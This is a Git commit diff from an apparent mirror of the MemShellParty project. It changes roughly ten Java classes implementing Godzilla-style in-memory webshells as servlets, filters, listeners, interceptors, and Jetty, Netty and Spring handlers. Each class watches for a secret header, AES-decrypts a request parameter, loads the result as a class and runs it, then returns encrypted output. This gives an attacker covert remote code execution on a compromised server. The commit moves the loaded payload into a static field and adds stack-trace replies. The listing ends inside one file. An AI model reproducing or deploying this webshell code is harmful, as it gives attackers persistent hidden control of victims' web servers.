archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-23 23:41:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

perf: remove session for godzilla

Browse Source
This commit is contained in:
ReaJason
2025-11-20 00:36:25 +08:00
parent eb92c2c4ff
commit 4563a97ceb
14 changed files with 514 additions and 246 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java
+44 -24
View File
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.shelltool.godzilla; package com.reajason.javaweb.memshell.shelltool.godzilla;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
@@ -11,11 +12,12 @@ import java.security.Key;
* @author ReaJason * @author ReaJason
*/ */
public class Godzilla extends ClassLoader { public class Godzilla extends ClassLoader {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public Godzilla() { public Godzilla() {
} }
@@ -32,24 +34,27 @@ public class Godzilla extends ClassLoader {
try { try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) { if (value != null && value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
byte[] data = base64Decode(parameter); try {
data = this.x(data, false); String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
Object session = request.getClass().getMethod("getSession").invoke(request); byte[] data = base64Decode(parameter);
Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new Godzilla(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); payload = new Godzilla(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(request); f.equals(request);
f.equals(data); f.equals(data);
f.toString(); f.toString();
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); writer.write(md5.substring(0, 16));
writer.write(md5.substring(0, 16)); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(md5.substring(16));
writer.write(md5.substring(16)); }
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
} }
return true; return true;
} }
@@ -117,6 +122,21 @@ public class Godzilla extends ClassLoader {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java
+43 -22
View File
@@ -7,19 +7,21 @@ import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/22 * @since 2024/12/22
*/ */
public class GodzillaControllerHandler extends ClassLoader implements Controller { public class GodzillaControllerHandler extends ClassLoader implements Controller {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public GodzillaControllerHandler() { public GodzillaControllerHandler() {
} }
@@ -31,22 +33,26 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
try { try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession(); PrintWriter writer = response.getWriter();
byte[] data = base64Decode(request.getParameter(pass)); try {
data = this.x(data, false); byte[] data = base64Decode(request.getParameter(pass));
Object cache = session.getAttribute(key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.setAttribute(key, (new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); payload = new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(request); f.equals(request);
f.equals(data); f.equals(data);
f.toString(); f.toString();
response.getWriter().write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16)); writer.write(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
} }
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -83,4 +89,19 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s); return c.doFinal(s);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java
+43 -22
View File
@@ -5,19 +5,21 @@ import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*; import javax.servlet.*;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.io.PrintWriter;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class GodzillaFilter extends ClassLoader implements Filter { public class GodzillaFilter extends ClassLoader implements Filter {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public GodzillaFilter() { public GodzillaFilter() {
} }
@@ -33,22 +35,26 @@ public class GodzillaFilter extends ClassLoader implements Filter {
HttpServletResponse response = (HttpServletResponse) servletResponse; HttpServletResponse response = (HttpServletResponse) servletResponse;
try { try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession(); PrintWriter writer = response.getWriter();
byte[] data = base64Decode(request.getParameter(pass)); try {
data = this.x(data, false); byte[] data = base64Decode(request.getParameter(pass));
Object cache = session.getAttribute(key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.setAttribute(key, (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data)); payload = new GodzillaFilter(Thread.currentThread().getContextClassLoader()).Q(data);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(request); f.equals(request);
f.equals(data); f.equals(data);
f.toString(); f.toString();
response.getWriter().write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16)); writer.write(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
} }
return; return;
} }
@@ -105,6 +111,21 @@ public class GodzillaFilter extends ClassLoader implements Filter {
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
@Override @Override
public void init(FilterConfig filterConfig) throws ServletException { public void init(FilterConfig filterConfig) throws ServletException {
} }
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java
+24 -7
View File
@@ -8,18 +8,19 @@ import reactor.core.publisher.Mono;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/25 * @since 2024/12/25
*/ */
public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction<ServerResponse> { public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction<ServerResponse> {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
public Class<?> payload; private static Class<?> payload;
public GodzillaHandlerFunction() { public GodzillaHandlerFunction() {
} }
@@ -43,7 +44,7 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(data); f.equals(data);
f.equals(request); f.equals(request);
@@ -54,6 +55,7 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
} }
} catch (Throwable ex) { } catch (Throwable ex) {
ex.printStackTrace(); ex.printStackTrace();
result.append(getErrorMessage(ex));
} }
return Mono.just(result.toString()); return Mono.just(result.toString());
}); });
@@ -88,4 +90,19 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s); return c.doFinal(s);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java
+23 -7
View File
@@ -7,18 +7,19 @@ import reactor.core.publisher.Mono;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/25 * @since 2024/12/25
*/ */
public class GodzillaHandlerMethod extends ClassLoader { public class GodzillaHandlerMethod extends ClassLoader {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
public Class<?> payload; private static Class<?> payload;
public GodzillaHandlerMethod() { public GodzillaHandlerMethod() {
} }
@@ -52,7 +53,7 @@ public class GodzillaHandlerMethod extends ClassLoader {
} }
} catch (Throwable ex) { } catch (Throwable ex) {
ex.printStackTrace(); ex.printStackTrace();
result.append(ex.getMessage()); result.append(getErrorMessage(ex));
} }
return Mono.just(result.toString()); return Mono.just(result.toString());
}); });
@@ -86,4 +87,19 @@ public class GodzillaHandlerMethod extends ClassLoader {
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s); return c.doFinal(s);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java
+43 -22
View File
@@ -7,19 +7,21 @@ import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/22 * @since 2024/12/22
*/ */
public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor { public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public GodzillaInterceptor() { public GodzillaInterceptor() {
} }
@@ -32,22 +34,26 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try { try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession(); PrintWriter writer = response.getWriter();
byte[] data = base64Decode(request.getParameter(pass)); try {
data = this.x(data, false); byte[] data = base64Decode(request.getParameter(pass));
Object cache = session.getAttribute(key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.setAttribute(key, (new GodzillaInterceptor(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); payload = new GodzillaInterceptor(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(request); f.equals(request);
f.equals(data); f.equals(data);
f.toString(); f.toString();
response.getWriter().write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16)); writer.write(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
} }
return false; return false;
} }
@@ -85,6 +91,21 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
return c.doFinal(s); return c.doFinal(s);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
@Override @Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java
+46 -26
View File
@@ -3,17 +3,19 @@ package com.reajason.javaweb.memshell.shelltool.godzilla;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter; import java.io.PrintWriter;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class GodzillaJettyHandler extends ClassLoader { public class GodzillaJettyHandler extends ClassLoader {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public GodzillaJettyHandler() { public GodzillaJettyHandler() {
} }
@@ -47,27 +49,30 @@ public class GodzillaJettyHandler extends ClassLoader {
try { try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) { if (value != null && value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
byte[] data = base64Decode(parameter); try {
data = this.x(data, false); String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
Object session = request.getClass().getMethod("getSession").invoke(request); byte[] data = base64Decode(parameter);
Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); payload = new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(request); f.equals(request);
f.equals(data); f.equals(data);
f.toString(); f.toString();
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); writer.write(md5.substring(0, 16));
writer.write(md5.substring(0, 16)); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(md5.substring(16));
writer.write(md5.substring(16)); }
} if (baseRequest != null) {
if (baseRequest != null) { baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); }
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
} }
return true; return true;
} }
@@ -104,4 +109,19 @@ public class GodzillaJettyHandler extends ClassLoader {
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s); return c.doFinal(s);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java
+44 -27
View File
@@ -6,18 +6,20 @@ import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener; import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class GodzillaListener extends ClassLoader implements ServletRequestListener { public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public GodzillaListener() { public GodzillaListener() {
} }
@@ -30,28 +32,28 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
public void requestInitialized(ServletRequestEvent servletRequestEvent) { public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try { try {
if (request.getHeader(headerName) != null if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
HttpSession session = request.getSession(); PrintWriter writer = response.getWriter();
byte[] data = base64Decode(request.getParameter(pass)); try {
data = this.x(data, false); byte[] data = base64Decode(request.getParameter(pass));
Object cache = session.getAttribute(key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.setAttribute( payload = new GodzillaListener(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
key, } else {
(new GodzillaListener(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
} else { Object f = payload.newInstance();
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); f.equals(arrOut);
Object f = ((Class<?>) cache).newInstance(); f.equals(request);
f.equals(arrOut); f.equals(data);
f.equals(request); f.toString();
f.equals(data); writer.write(md5.substring(0, 16));
f.toString(); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(0, 16)); writer.write(md5.substring(16));
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); }
response.getWriter().write(md5.substring(16)); } catch (Throwable e) {
response.flushBuffer(); e.printStackTrace();
writer.write(getErrorMessage(e));
} }
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -91,6 +93,21 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
return c.doFinal(s); return c.doFinal(s);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
@Override @Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) { public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
} }
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java
+23 -7
View File
@@ -11,6 +11,7 @@ import io.netty.util.CharsetUtil;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.URL; import java.net.URL;
@@ -23,11 +24,11 @@ import java.nio.charset.StandardCharsets;
*/ */
@ChannelHandler.Sharable @ChannelHandler.Sharable
public class GodzillaNettyHandler extends ChannelDuplexHandler { public class GodzillaNettyHandler extends ChannelDuplexHandler {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private final StringBuilder requestBody = new StringBuilder(); private final StringBuilder requestBody = new StringBuilder();
private HttpRequest request; private HttpRequest request;
private static Class<?> payload; private static Class<?> payload;
@@ -65,7 +66,6 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
if (payload == null) { if (payload == null) {
payload = reflectionDefineClass(data); payload = reflectionDefineClass(data);
send(ctx, ""); send(ctx, "");
return;
} else { } else {
Object f = payload.newInstance(); Object f = payload.newInstance();
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
@@ -74,10 +74,11 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
f.toString(); f.toString();
send(ctx, md5.substring(0, 16) + base64Encode(x(arrOut.toByteArray(), true)) + md5.substring(16)); send(ctx, md5.substring(0, 16) + base64Encode(x(arrOut.toByteArray(), true)) + md5.substring(16));
} }
return;
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
send(ctx, getErrorMessage(e));
} }
return;
} }
ctx.fireChannelRead(msg); ctx.fireChannelRead(msg);
} }
@@ -145,4 +146,19 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes()); response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE); ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java
+43 -23
View File
@@ -5,20 +5,22 @@ import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*; import javax.servlet.*;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.io.PrintWriter;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/15 * @since 2024/12/15
*/ */
public class GodzillaServlet extends ClassLoader implements Servlet { public class GodzillaServlet extends ClassLoader implements Servlet {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public GodzillaServlet() { public GodzillaServlet() {
} }
@@ -33,24 +35,27 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
HttpServletResponse response = (HttpServletResponse) res; HttpServletResponse response = (HttpServletResponse) res;
try { try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession(); PrintWriter writer = response.getWriter();
byte[] data = base64Decode(request.getParameter(pass)); try {
data = this.x(data, false); byte[] data = base64Decode(request.getParameter(pass));
Object cache = session.getAttribute(key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.setAttribute(key, (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); payload = new GodzillaServlet(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(request); f.equals(request);
f.equals(data); f.equals(data);
f.toString(); f.toString();
response.getWriter().write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16)); writer.write(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
} }
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -85,6 +90,21 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
@Override @Override
public void init(ServletConfig config) throws ServletException { public void init(ServletConfig config) throws ServletException {
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java
+44 -24
View File
